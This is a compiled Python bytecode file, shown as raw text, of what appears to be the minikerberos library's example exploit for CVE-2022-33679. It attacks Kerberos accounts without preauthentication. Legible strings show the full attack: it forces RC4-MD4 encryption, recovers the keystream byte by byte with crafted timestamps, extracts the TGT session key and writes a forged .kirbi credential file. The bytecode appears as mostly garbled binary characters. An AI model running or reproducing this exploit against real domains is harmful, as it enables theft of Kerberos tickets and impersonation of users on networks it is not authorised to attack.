o
    �õ±j#  ã                   @   sÞ   d dl Z d dlZd dlZd dlZd dlmZmZ d dlmZ d dl	m
Z
 d dlmZmZ d dlmZmZmZmZmZmZmZmZmZ dd„ Zd	d
„ Zdd„ Zdd„ Zddd„Zdd„ Zddd„Zdd„ Ze dkrmeƒ  dS dS )é    N)ÚKerberosClientFactoryÚkerberos_url_help_epilog)ÚAIOKerberosClient)ÚEncryptionType)ÚKeyÚ_enctype_table)	ÚPA_ENC_TS_ENCÚHostAddressÚKRB_CREDÚKrbCredInfoÚEncKrbCredPartÚEncryptedDataÚEncryptionKeyÚPrincipalNameÚTicketFlagsc                 C   s   t dd„ t| |ƒD ƒƒS )Nc                 S   s   g | ]\}}||A ‘qS © r   )Ú.0Ú_aÚ_br   r   ú—/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/CVE_2022_33679.pyÚ
<listcomp>   s    zbyte_xor.<locals>.<listcomp>)ÚbytesÚzip)Úba1Úba2r   r   r   Úbyte_xor   s   r   c                  C   s>   g } t dƒD ]}dd|jdddd� dœ}|  t|ƒ¡ q| S )	Né2   é   s     é   ÚbigF©Ú	byteorderÚsigned)z	addr-typeÚaddress)ÚrangeÚto_bytesÚappendr	   )ÚhostsÚxÚhdr   r   r   Úget_padding_data!   s   þr*   c                 C   s`   t | ƒ}|dkrtdƒ‚d}|| }|d }|d }d|jdddd	� d
 |jdddd	� d S )Né   ÚNOé   é   s                           y‚r   r   Fr    s   0‚s    0 €¡)ÚlenÚ	Exceptionr%   )ÚcipherÚcipher_lengthÚheader_lengthÚdata_lengthÚ	first_lenÚ
second_lenr   r   r   Úcalc_known_plaintext.   s   ,r7   c                 C   sÒ   t j  t jj¡jdd�}| d¡}| ¡ d }dt|ƒjdddd	� | }d
t|ƒjdddd	� | }| dkrGdt|ƒjdddd	� | }|S d|  jdddd	�d| d   t|ƒjdddd	� }d| | }|S )Nr   ©Úmicrosecondz%Y%m%d%H%M%SZó    ó   r   r   Fr    ó    ó   0é€   )	ÚdatetimeÚnowÚtimezoneÚutcÚreplaceÚstrftimeÚencoder/   r%   )Únr@   ÚnowstrÚtÚttÚts_endÚ	timestampr(   r   r   r   Úget_crafted_timestamp;   s   
4ýrL   éd   c                    s8   t  | ¡ ¡ ‰ dd ‡ ‡fdd„tdtˆ ƒˆƒD ƒ¡ S )Nz    z
    c                    s   g | ]
}ˆ ||ˆ … ‘qS r   r   )r   Úi©ÚkdrF   r   r   r   N   s    z format_kirbi.<locals>.<listcomp>r   )Úbase64Ú	b64encodeÚdecodeÚjoinr$   r/   )ÚdatarF   r   rO   r   Úformat_kirbiL   s   *rV   c                 C   s  d|dœ}i }t |ƒ|d< | d |d< | d |d< ttg d¢ƒƒ|d	< ||d
< ||d< |tjdd� jdd�|d< |tjdd� jdd�|d< | d |d< tdd| d gdœƒ|d< i }t|ƒg|d< i }d|d< t|ƒ 	¡ |d< i }d|d< d|d< t
|ƒ|d< | d g|d< t|ƒS ) Né€ÿÿÿ)ÚkeytypeÚkeyvalueÚkeyÚcrealmÚprealmÚcnameÚpname)z
enc-pa-repÚforwardableÚ	renewableÚinitialÚ	proxiableÚflagsÚauthtimeÚ	starttimer   )Údaysr   r8   Úendtimez
renew-tillÚsrealmÚkrbtgt)z	name-typezname-stringÚsnamezticket-infoÚetyper1   é   Úpvnoé   úmsg-typeúenc-partÚticketÚtickets)r   r   Úsetr?   Ú	timedeltarC   r   r   r   Údumpr   r
   )ÚtgtÚ
sessionkeyr@   ÚkeydÚciÚtiÚterH   r   r   r   Útgt_to_kirbiP   s2   þr|   c                 Ã   s¼  �t  | ¡}tdƒ | ¡ }dtƒ i}|jtj|dd�}|j 	| 
¡ ¡I d H }|j}tdƒ tj tjj¡jdd�}td|jdd�iƒ 
¡ }	|d	 d
 }
t|
ƒ}|
d t|ƒ… }td| ¡  ƒ t||ƒ}td| ¡  ƒ tdƒ td|	 ¡  ƒ td|	 |ƒ}td| ¡  ƒ |jtj||d�}|j 	| 
¡ ¡I d H }|j}|d dkr«tdƒ d S td|d  ƒ tdƒ d}t|ƒ}tddƒD ]\}tdƒD ]N}|d7 }|jdddd�}|| }t||ƒ}	td|	 |ƒ}|jtj||d�}|j 	| 
¡ ¡I d H }|j}|d dk�rqÈtdt|| ƒ| ¡ f ƒ |} ntdƒ  d S qÂtd| ƒ tj tjj¡jdd�}td|jdd�iƒ 
¡ }	td ƒ td|	 |ƒ}|jtj||d�}|j 	| 
¡ ¡I d H }|j}|d dk�rltd!ƒ d S td"ƒ t|d	 d
 |ƒ}|d#d$… d% }td&| ¡  ƒ ||_td' |_d'|_td'|ƒ|_t|||ƒ 
¡ }td(ƒ tt |ƒƒ d)| !d*¡ }|d u�rº|}td+| ƒ t"|d,ƒ�}| #|¡ W d   ƒ d S 1 �s×w   Y  d S )-Nz[+] FETCHING TGT...Ú	addressesT)Úkdc_req_body_extraÚ
no_preauthz[+] GOT TGT...r   r8   Úpatimestamprp   r1   z[+] PLAINTEXT FRAGMENT: %s z[+] PARTIAL KEYSTREAM : %sz[+] VERIFYING KEYSTREAM...z[i] TIMESTAMP    : %ss                           z[i] ENC TIMESTAMP: %s)ÚenctimestampÚnewnowro   é   z![-] FAILED! Keystream is not goodz*[+] PARTIAL KEYSTREAM WORKS! Got code : %sz)[+] GUESSING REMAINING KEYSTREAM BYTES...r.   é   r   r   Fr    z6[+] Correctly guessed keystream byte position %s: 0x%szAll guesses failed!!!z&[+] GUESSED KEYSTREAM IN %s ITERATIONSz[+] REQUESTING FRESH TGTz FAILED! Keystream is not good :(z$[+] DECRYPTING AS-REP WITH KEYSTREAMé+   é0   s   «««««««««««z[+] FOUND SESSION KEY: %srW   z[+] KIRBI DATA:z%s.kirbiz%Y%m%d_%H%M%Sz[+] Writing .kirbi file to: %sÚwb)$r   Úfrom_urlÚprintÚ
get_clientr*   Úbuild_asreq_ltsr   ÚARCFOUR_MD4ÚksocÚsendrecvru   Únativer?   r@   rA   rB   rC   r   r7   r/   Úhexr   r$   r%   rL   Úkerberos_TGTr   Úkerberos_cipherÚkerberos_cipher_typer   Úkerberos_session_keyr|   rV   rD   ÚopenÚwrite)Úkerberos_urlÚ	kirbifileÚcuÚclientÚpadding_dataÚcraftticketÚreprv   r@   rK   Úcipher_dataÚplaintext_dataÚcipher_data_headerÚ	keystreamÚenc_timestampÚctrÚorig_keystream_lenÚtslenÚ	byteguessÚkeystream_guessÚdec_dataÚsession_keyÚkirbiÚfilenameÚfr   r   r   Úexploitq   sž   €
ÿ

ý

$ÿr­   c                  C   s’   dd l } | jddd�}|jddd� |jdd	d
dd� | ¡ }|jdkr,tjtjd� n|jdkr9tjtjd� ntjdd� t	 
t|jƒ¡ d S )Nr   zRFetches TGT&session key for user who doesnt need kerberos preauth. CVE-2022-33679.zvUse it with a valid kerberus URL but any password. Example: "cve202233679 'kerberos+none://TEST\asreptest@10.10.10.2'")ÚdescriptionÚusager—   zthe kerberos target string. )Úhelpz-vz	--verboseÚcount)ÚactionÚdefault)Úlevelr   )ÚargparseÚArgumentParserÚadd_argumentÚ
parse_argsÚverboseÚloggingÚbasicConfigÚINFOÚDEBUGÚasyncioÚrunr­   r—   )rµ   ÚparserÚargsr   r   r   Úmain×   s   

rÂ   Ú__main__)rM   )N)!r?   rº   r¾   rQ   Úminikerberos.common.factoryr   r   Úminikerberos.aioclientr   Úminikerberos.protocol.constantsr   Ú minikerberos.protocol.encryptionr   r   Ú"minikerberos.protocol.asn1_structsr   r	   r
   r   r   r   r   r   r   r   r*   r7   rL   rV   r|   r­   rÂ   Ú__name__r   r   r   r   Ú<module>   s(   ,

!f
ÿ